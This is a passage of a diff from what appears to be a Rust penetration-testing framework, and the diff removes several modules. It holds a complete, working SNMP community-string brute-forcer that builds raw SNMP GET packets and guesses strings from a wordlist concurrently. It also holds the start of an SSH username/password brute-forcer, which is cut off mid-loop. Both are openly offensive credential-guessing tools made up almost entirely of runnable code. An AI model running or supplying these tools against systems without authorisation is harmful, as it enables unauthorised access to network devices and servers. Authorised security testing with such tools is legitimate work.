Ok(_) => b.trim().to_string(),
|
||||
Err(e) => {
|
||||
eprintln!("[!] Failed to read input: {}", e);
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_port(default: u16) -> u16 {
|
||||
loop {
|
||||
let input = prompt(&format!("Port (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default;
|
||||
}
|
||||
match input.parse::<u16>() {
|
||||
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
|
||||
Ok(port) => return port,
|
||||
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_threads(default: usize) -> usize {
|
||||
loop {
|
||||
let input = prompt(&format!("Threads (default {}): ", default));
|
||||
if input.is_empty() {
|
||||
return default.max(1);
|
||||
}
|
||||
if let Ok(value) = input.parse::<usize>() {
|
||||
if value >= 1 && value <= 1024 {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
|
||||
if input.is_empty() {
|
||||
return default_yes;
|
||||
}
|
||||
match input.to_lowercase().as_str() {
|
||||
"y" | "yes" => return true,
|
||||
"n" | "no" => return false,
|
||||
_ => println!("[!] Please respond with y or n."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_wordlist(message: &str) -> Result<String> {
|
||||
loop {
|
||||
let response = prompt(message);
|
||||
if response.is_empty() {
|
||||
println!("[!] Path cannot be empty.");
|
||||
continue;
|
||||
}
|
||||
let trimmed = response.trim();
|
||||
if Path::new(trimmed).is_file() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
|
||||
let t = host.trim();
|
||||
let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
|
||||
let addr = cap.get(1).unwrap().as_str();
|
||||
let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
|
||||
let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
|
||||
if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
|
||||
}
|
||||
@@ -1,643 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::{SocketAddr, UdpSocket},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::sleep};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SNMPv1 & SNMPv2c Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SNMP Port", "161")?;
|
||||
match input.trim().parse::<u16>() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let communities_file = loop {
|
||||
let input = prompt_required("Community string wordlist file path")?;
|
||||
let path = Path::new(&input);
|
||||
if !path.exists() {
|
||||
println!("{}", format!("File '{}' does not exist.", input).yellow());
|
||||
println!("{}", "Tip: Common SNMP community wordlists are at /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt".yellow());
|
||||
continue;
|
||||
}
|
||||
if !path.is_file() {
|
||||
println!("{}", format!("'{}' is not a regular file.", input).yellow());
|
||||
continue;
|
||||
}
|
||||
// Check if file is readable
|
||||
match File::open(path) {
|
||||
Ok(_) => break input,
|
||||
Err(e) => {
|
||||
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
|
||||
continue;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let snmp_version = loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0, // SNMPv1
|
||||
"2c" | "2" => break 1, // SNMPv2c
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "50")?;
|
||||
match input.trim().parse::<usize>() {
|
||||
Ok(n) if n > 0 && n <= 10000 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "snmp_brute_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let timeout_secs: u64 = loop {
|
||||
let input = prompt_default("Timeout (seconds)", "3")?;
|
||||
match input.trim().parse::<u64>() {
|
||||
Ok(n) if n > 0 && n <= 300 => break n,
|
||||
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
|
||||
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
|
||||
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
|
||||
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
println!("[!] Community wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let communities = Arc::new(communities);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
|
||||
for community in communities.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let community_clone = community.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let version = snmp_version;
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> community: '{}'", addr_clone, community_clone);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), community_clone.clone()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> community: '{}'", addr_clone, community_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No valid community strings found.");
|
||||
} else {
|
||||
println!("\n[+] Valid community strings:");
|
||||
for (host, community) in creds.iter() {
|
||||
println!(" {} -> community: '{}'", host, community);
|
||||
}
|
||||
|
||||
if let Some(path_str) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path_str);
|
||||
let mut file = File::create(&filename)?;
|
||||
for (host, community) in creds.iter() {
|
||||
writeln!(file, "{} -> community: '{}'", host, community)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_snmp_community(
|
||||
normalized_addr: &str,
|
||||
community: &str,
|
||||
version: u8, // 0 = v1, 1 = v2c
|
||||
timeout: Duration,
|
||||
) -> Result<bool> {
|
||||
let community_owned = community.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
|
||||
// Parse the address
|
||||
let addr: SocketAddr = addr_owned
|
||||
.parse()
|
||||
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
|
||||
|
||||
// Create UDP socket
|
||||
let socket = UdpSocket::bind("0.0.0.0:0")
|
||||
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
|
||||
|
||||
socket
|
||||
.set_read_timeout(Some(timeout))
|
||||
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
|
||||
|
||||
// Build SNMP GET request manually
|
||||
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
|
||||
let message = build_snmp_get_request(&community_owned, version);
|
||||
|
||||
// Send request
|
||||
socket
|
||||
.send_to(&message, &addr)
|
||||
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
|
||||
|
||||
// Receive response
|
||||
let mut buf = vec![0u8; 4096];
|
||||
let result: bool = match socket.recv_from(&mut buf) {
|
||||
Ok((size, _)) => {
|
||||
let response = &buf[..size];
|
||||
|
||||
// Parse SNMP response to verify it's valid
|
||||
// A valid SNMP response should:
|
||||
// 1. Start with 0x30 (SEQUENCE)
|
||||
// 2. Contain version, community, and PDU
|
||||
// 3. Have error status = 0 (noError) in the response PDU
|
||||
if size >= 20 && response[0] == 0x30 {
|
||||
// Try to parse the response to check error status
|
||||
// If we can parse it and error status is 0, it's valid
|
||||
match parse_snmp_response(response) {
|
||||
Ok(true) => true, // Valid community string
|
||||
Ok(false) => false, // Invalid community (error in response)
|
||||
Err(_) => {
|
||||
// Can't parse, but got a response - might be valid
|
||||
// Some devices send malformed responses but still indicate valid community
|
||||
true
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Malformed response - likely invalid
|
||||
false
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
|
||||
// EAGAIN (os error 11) can occur on Linux when socket would block
|
||||
let error_kind = e.kind();
|
||||
if error_kind == std::io::ErrorKind::TimedOut
|
||||
|| error_kind == std::io::ErrorKind::WouldBlock
|
||||
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|
||||
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
|
||||
{
|
||||
// Timeout or would block - community string is likely invalid
|
||||
false
|
||||
} else {
|
||||
// Other errors might be transient, but log them
|
||||
// For now, treat as invalid to avoid false positives
|
||||
false
|
||||
}
|
||||
}
|
||||
};
|
||||
Ok(result)
|
||||
})
|
||||
.await
|
||||
.map_err(|e| anyhow!("Task join error: {}", e))?;
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Parses SNMP response to check if error status is 0 (noError)
|
||||
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
|
||||
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
if response.len() < 20 || response[0] != 0x30 {
|
||||
return Err(anyhow!("Invalid SNMP response header"));
|
||||
}
|
||||
|
||||
// Try to find the PDU (GetResponse-PDU = 0xa2)
|
||||
// The structure is: SEQUENCE (version, community, PDU)
|
||||
// We need to skip version and community to get to the PDU
|
||||
|
||||
let mut pos = 1;
|
||||
|
||||
// Skip length of outer SEQUENCE
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short"));
|
||||
}
|
||||
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += len_bytes;
|
||||
|
||||
// Skip version (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid version field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += vlen_bytes + vlen;
|
||||
|
||||
// Skip community (OCTET STRING)
|
||||
if pos >= response.len() || response[pos] != 0x04 {
|
||||
return Err(anyhow!("Invalid community field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += clen_bytes + clen;
|
||||
|
||||
// Now we should be at the PDU
|
||||
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short for PDU"));
|
||||
}
|
||||
|
||||
let pdu_tag = response[pos];
|
||||
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
|
||||
// Not a GetResponse or GetRequest, might be an error
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
pos += 1;
|
||||
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += pdu_len_bytes;
|
||||
|
||||
// PDU structure: request-id, error-status, error-index, variable-bindings
|
||||
// Skip request-id (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid request-id field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += rid_len_bytes + rid_len;
|
||||
|
||||
// Read error-status (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid error-status field"));
|
||||
}
|
||||
pos += 1;
|
||||
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
|
||||
return Err(anyhow!("Invalid error-status length"));
|
||||
}
|
||||
|
||||
// Read the error status value
|
||||
let error_status = if es_len == 1 {
|
||||
response[pos + es_len_bytes] as u32
|
||||
} else {
|
||||
// Multi-byte integer (shouldn't happen for error status, but handle it)
|
||||
let mut val = 0u32;
|
||||
for i in 0..es_len {
|
||||
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
|
||||
}
|
||||
val
|
||||
};
|
||||
|
||||
// Error status 0 = noError, anything else is an error
|
||||
Ok(error_status == 0)
|
||||
}
|
||||
|
||||
/// Parses BER length field
|
||||
/// Returns (length_value, number_of_bytes_consumed)
|
||||
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
if data.is_empty() {
|
||||
return Err(anyhow!("Empty length field"));
|
||||
}
|
||||
|
||||
let first_byte = data[0];
|
||||
|
||||
if (first_byte & 0x80) == 0 {
|
||||
// Short form: single byte
|
||||
Ok((first_byte as usize, 1))
|
||||
} else {
|
||||
// Long form: first byte indicates number of length bytes
|
||||
let num_bytes = (first_byte & 0x7F) as usize;
|
||||
if num_bytes == 0 {
|
||||
return Err(anyhow!("Indefinite length not supported"));
|
||||
}
|
||||
if num_bytes > 4 {
|
||||
return Err(anyhow!("Length field too large"));
|
||||
}
|
||||
if data.len() < 1 + num_bytes {
|
||||
return Err(anyhow!("Not enough bytes for length field"));
|
||||
}
|
||||
|
||||
let mut length = 0usize;
|
||||
for i in 0..num_bytes {
|
||||
length = (length << 8) | (data[1 + i] as usize);
|
||||
}
|
||||
|
||||
Ok((length, 1 + num_bytes))
|
||||
}
|
||||
}
|
||||
|
||||
/// Builds a simple SNMP GET request packet manually
|
||||
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
|
||||
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
|
||||
// Build components first, then assemble with proper length encoding
|
||||
|
||||
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
|
||||
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
|
||||
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
|
||||
|
||||
// NULL value
|
||||
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
|
||||
|
||||
// VarBind: SEQUENCE of (OID, NULL)
|
||||
let mut var_bind = Vec::new();
|
||||
var_bind.extend_from_slice(&oid_tlv);
|
||||
var_bind.extend_from_slice(&null_tlv);
|
||||
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
|
||||
|
||||
// VarBindList: SEQUENCE of VarBind
|
||||
let mut var_bind_list_content = Vec::new();
|
||||
var_bind_list_content.extend_from_slice(&var_bind_tlv);
|
||||
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
|
||||
|
||||
// Request ID
|
||||
let request_id_tlv = encode_integer_tlv(1u32);
|
||||
|
||||
// Error status (0 = noError)
|
||||
let error_status_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// Error index (0 = noError)
|
||||
let error_index_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
// PDU: GetRequest-PDU
|
||||
let mut pdu_content = Vec::new();
|
||||
pdu_content.extend_from_slice(&request_id_tlv);
|
||||
pdu_content.extend_from_slice(&error_status_tlv);
|
||||
pdu_content.extend_from_slice(&error_index_tlv);
|
||||
pdu_content.extend_from_slice(&var_bind_list_tlv);
|
||||
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
|
||||
|
||||
// Version
|
||||
let version_tlv = encode_integer_tlv(version as u32);
|
||||
|
||||
// Community string
|
||||
let community_bytes = community.as_bytes();
|
||||
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
|
||||
|
||||
// SNMP Message: SEQUENCE of (version, community, PDU)
|
||||
let mut message_content = Vec::new();
|
||||
message_content.extend_from_slice(&version_tlv);
|
||||
message_content.extend_from_slice(&community_tlv);
|
||||
message_content.extend_from_slice(&pdu_tlv);
|
||||
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
|
||||
|
||||
message
|
||||
}
|
||||
|
||||
/// Builds a TLV (Type-Length-Value) structure
|
||||
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut result = Vec::new();
|
||||
result.push(tag);
|
||||
|
||||
let length = value.len();
|
||||
if length < 128 {
|
||||
// Short form: single byte length
|
||||
result.push(length as u8);
|
||||
} else {
|
||||
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
|
||||
// Calculate how many bytes we need for the length
|
||||
let mut len = length;
|
||||
let mut num_bytes = 0;
|
||||
let mut len_bytes = Vec::new();
|
||||
|
||||
while len > 0 {
|
||||
len_bytes.push((len & 0xFF) as u8);
|
||||
len >>= 8;
|
||||
num_bytes += 1;
|
||||
}
|
||||
|
||||
// Reverse to get big-endian representation
|
||||
len_bytes.reverse();
|
||||
|
||||
// First byte: 0x80 | number of length bytes
|
||||
result.push(0x80 | (num_bytes as u8));
|
||||
result.extend_from_slice(&len_bytes);
|
||||
}
|
||||
|
||||
result.extend_from_slice(value);
|
||||
result
|
||||
}
|
||||
|
||||
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
|
||||
fn encode_integer_tlv(value: u32) -> Vec<u8> {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
let mut val = value;
|
||||
// Encode as big-endian, using minimum number of bytes
|
||||
// For values that would have high bit set, we need an extra zero byte
|
||||
// to ensure it's interpreted as positive
|
||||
while val > 0 {
|
||||
bytes.push((val & 0xFF) as u8);
|
||||
val >>= 8;
|
||||
}
|
||||
bytes.reverse();
|
||||
|
||||
// If high bit is set, prepend 0x00 to make it positive
|
||||
if bytes[0] & 0x80 != 0 {
|
||||
bytes.insert(0, 0x00);
|
||||
}
|
||||
}
|
||||
build_tlv(0x02, &bytes) // 0x02 = INTEGER
|
||||
}
|
||||
|
||||
/// Encodes OID value (without the TLV wrapper)
|
||||
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
|
||||
let mut encoded = Vec::new();
|
||||
if oid.len() >= 2 {
|
||||
// First two sub-identifiers are encoded as: first * 40 + second
|
||||
encoded.push((oid[0] * 40 + oid[1]) as u8);
|
||||
for &sub_id in &oid[2..] {
|
||||
encode_sub_id(sub_id, &mut encoded);
|
||||
}
|
||||
}
|
||||
encoded
|
||||
}
|
||||
|
||||
|
||||
/// Encodes a sub-identifier using base-128 encoding
|
||||
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
let mut bytes = Vec::new();
|
||||
if value == 0 {
|
||||
bytes.push(0);
|
||||
} else {
|
||||
while value > 0 {
|
||||
bytes.push((value & 0x7F) as u8);
|
||||
value >>= 7;
|
||||
}
|
||||
bytes.reverse();
|
||||
// Set high bit on all but last byte
|
||||
for i in 0..bytes.len() - 1 {
|
||||
bytes[i] |= 0x80;
|
||||
}
|
||||
}
|
||||
output.extend_from_slice(&bytes);
|
||||
}
|
||||
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
|
||||
let trimmed = host.trim();
|
||||
let caps = re
|
||||
.captures(trimmed)
|
||||
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
|
||||
let addr = caps.name("addr").unwrap().as_str();
|
||||
let port = if let Some(m) = caps.name("port") {
|
||||
m.as_str()
|
||||
.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
|
||||
} else {
|
||||
default_port
|
||||
};
|
||||
let formatted = if addr.contains(':') && !addr.contains('.') {
|
||||
format!("[{}]:{}", addr, port)
|
||||
} else {
|
||||
format!("{}:{}", addr, port)
|
||||
};
|
||||
|
||||
// Validate that the address can be resolved
|
||||
formatted
|
||||
.parse::<std::net::SocketAddr>()
|
||||
.map_err(|e| anyhow!("Could not parse address '{}': {}", formatted, e))?;
|
||||
|
||||
Ok(formatted)
|
||||
}
|
||||
|
||||
|
||||
fn prompt_required(msg: &str) -> Result<String> {
|
||||
loop {
|
||||
print!("{}", format!("{}: ", msg).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
if !trimmed.is_empty() {
|
||||
return Ok(trimmed.to_string());
|
||||
} else {
|
||||
println!("{}", "This field is required.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_default(msg: &str, default: &str) -> Result<String> {
|
||||
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let trimmed = s.trim();
|
||||
Ok(if trimmed.is_empty() {
|
||||
default.to_string()
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
})
|
||||
}
|
||||
|
||||
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
|
||||
let default_char = if default_yes { "y" } else { "n" };
|
||||
loop {
|
||||
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
|
||||
std::io::stdout().flush()?;
|
||||
let mut s = String::new();
|
||||
std::io::stdin().read_line(&mut s)?;
|
||||
let input = s.trim().to_lowercase();
|
||||
if input.is_empty() {
|
||||
return Ok(default_yes);
|
||||
} else if input == "y" || input == "yes" {
|
||||
return Ok(true);
|
||||
} else if input == "n" || input == "no" {
|
||||
return Ok(false);
|
||||
} else {
|
||||
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
let file = File::open(path.as_ref())
|
||||
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
|
||||
let reader = BufReader::new(file);
|
||||
Ok(reader
|
||||
.lines()
|
||||
.filter_map(Result::ok)
|
||||
.filter(|l| !l.trim().is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
.map(|os_str| os_str.to_string_lossy())
|
||||
.filter(|s_cow| !s_cow.is_empty() && s_cow != "." && s_cow != "..")
|
||||
.map(|s_cow| s_cow.into_owned())
|
||||
.unwrap_or_else(|| "snmp_brute_results.txt".to_string());
|
||||
|
||||
PathBuf::from(format!("./{}", path_candidate))
|
||||
}
|
||||
|
||||
@@ -1,311 +0,0 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::{TcpStream, ToSocketAddrs},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SSH Brute Force Module ===");
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", "22")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
}
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", connect_addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let users = Arc::new(users);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
let mut user_cycle_idx = 0usize;
|
||||
|
||||
for pass in passwords {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let selected_users: Vec<String> = if combo_mode {
|
||||
users.iter().cloned().collect()
|
||||
} else {
|
||||
if users.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
let user = users[user_cycle_idx % users.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
vec![user]
|
||||
}
|
||||
};
|
||||
|
||||
if selected_users.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
for user in selected_users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
